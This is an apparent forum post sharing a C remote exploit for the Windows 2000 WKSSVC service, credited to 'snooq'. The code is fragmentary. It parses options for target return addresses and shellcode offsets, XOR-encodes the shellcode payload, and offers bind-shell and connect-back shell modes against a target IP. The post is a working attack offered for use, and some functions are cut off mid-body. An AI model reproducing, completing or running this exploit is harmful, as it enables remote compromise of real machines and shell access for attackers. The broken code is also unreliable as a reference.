think i've not seen this version before . if i'm wrong s.th. for the trash its the third exploit of the author to this topic for the other 2 search the forum
CODE
/* * Author: snooq * Date: 15 November 2003 * * ++++++++++ THIS IS YET ANOTHER PRIVATE VERSION ++++++++++ * * Another version........ slightly different from the one * on packetstorm & k-otik........ =p * * I've changed the shellcode a bit... ExitThread() instead * of ExitProcess()..... it doens't crash now.. :) * * Also, added an option for u to specify a XOR key to be * used in encoding the payload.... * * This should be the final release....I dun think I'm gonna * improve this further... * * Lastly.. let me iterate this again.... * This code will only work against Win2K that was configured * to grant 'anonymous logon' write access to the log file... * [NB: win2k(on ntfs), by default, don't...] * * Using this against XP will likely fail.... * but if u manage to adapt this code to work for XP too.. * pleaseeeee.. send me a copy tooo.... =) * * +++++++++++++++++++++++++++++++++++++++++++++++++++++++++ */
void changeport(char *code, int port, int offset) { char *ptr; ptr=code+offset; /* Assume Little-Endianess.... */ *ptr++=(char)((port>>8)&0xff); *ptr++=(char)(port&0xff); }
void banner() { printf("\nWKSSVC Remote Exploit By Snooq [jinyean@hotmail.com]\n\n"); }
void usage(char *s) { banner(); printf("Usage: %s [options]\n\n",s); printf("\t-r\tSize of 'return addresses'\n"); printf("\t-a\tAlignment size [0~3]\n"); printf("\t-p\tPort to bind shell to (in 'connecting' mode), or\n"); printf("\t\tPort for shell to connect back (in 'listening' mode)\n"); printf("\t-s\tShellcode offset from the return address\n"); printf("\t-t\tTarget types. ( -H for more info )\n"); printf("\t\tDefault is '-t 1'\n"); printf("\t-H\tShow list of possible targets\n"); printf("\t-l\tListening for shell connecting\n"); printf("\t\tback to port specified by '-p' switch\n"); printf("\t-i\tIP for shell to connect back.\n"); printf("\t\tIf '-i' is not present, the first local IP is used.\n"); printf("\t-e\tEnumerate local IPs interactively. ('listening' mode only)\n"); printf("\t-I\tTime interval between each trial ('connecting' mode only)\n"); printf("\t-T\tTime out (in number of seconds)\n"); printf("\t-k/-K\tXOR key, e.g '-k 43452352' or '-K 0xabcd9897'\n"); printf("\t-h\tTarget's IP. <<< THIS IS MANDATORY >>>\n\n"); exit(0); }
while(!alarm_fired) { if (GetMessage(&msg, 0, 0, 0) ) { if (msg.message == WM_TIMER) printf("-> WM_TIMER received...\n"); DispatchMessage(&msg); } }
}
void resetalarm() { if (TerminateThread(t2,0)==0) { err_exit("-> Failed to reset alarm..."); } if (TerminateThread(t1,0)==0) { err_exit("-> Failed to kill the 'sending' thread..."); } }
void do_send(char *host,int timeout) { t1=(HANDLE)_beginthread(sendstr,0,host); if (t1==0) { err_exit("-> Failed to send exploit string..."); } t2=(HANDLE)_beginthread(setalarm,0,timeout); if (t2==0) { err_exit("-> Failed to set alarm clock..."); } }
printf("-> XORing payload with key -> 0x%08x....\n",key);
ptr=code+KEY_OFFSET; *((long *)ptr)=key; ptr=code+CODE_OFFSET; for(i=0;i<(len-CODE_OFFSET);i+=4) { tmp=*((long *)ptr); *((long *)ptr)=tmp^key; get_bytes(tmp^key); for(j=0;j<4;j++) { if (b[j]=='\0') err_exit("-> Payload has 'null'. Try another key..=p"); } ptr+=4; } *(code+len)=0; }
int main(int argc, char *argv[]) {
char opt; char *host, *ptr, *ip=""; struct sockaddr_in sockadd; int i, i_len, ok=0, mode=0, flag=0, enum_ip=0; int align=ALIGN, retsize=RET_SIZE, sc_offset=SC_OFFSET; int target=TARGET, scsize=SC_SIZE_1, port=PORT; int timeout=TIME_OUT, interval=INTERVAL; long retaddr, key=KEY;
WSADATA wsd; SOCKET s1, s2;
if (argc<2) { usage(argv[0]); }
while ((opt=getopt(argc,argv,"a:i:I:r:s:h:k:K:t:T:p:Hle"))!=EOF) { switch(opt) { case 'a': align=atoi(optarg); break;
case 'I': interval=atoi(optarg); break;
case 'T': timeout=atoi(optarg); break;
case 't': target=atoi(optarg); retaddr=targets[target-1].jmpesp; break;
case 'i': ip=optarg; break;
case 'k': key=atol(optarg); break;
case 'K': key=str2long(optarg); break;
case 'l': mode=1; scsize=SC_SIZE_2; break;
case 'e': enum_ip=1; break;
case 'r': retsize=atoi(optarg); break;
case 's': sc_offset=atoi(optarg); break;
case 'h': ok=1; host=optarg; sockadd.sin_addr.s_addr=inet_addr(optarg); break;
case 'p': port=atoi(optarg); break;
case 'H': showtargets(); break;
default: usage(argv[0]); break; } }
if (!ok||((enum_ip)&&(!mode))||((enum_ip)&&(strcmp(ip,"")==0))) { usage(argv[0]); }
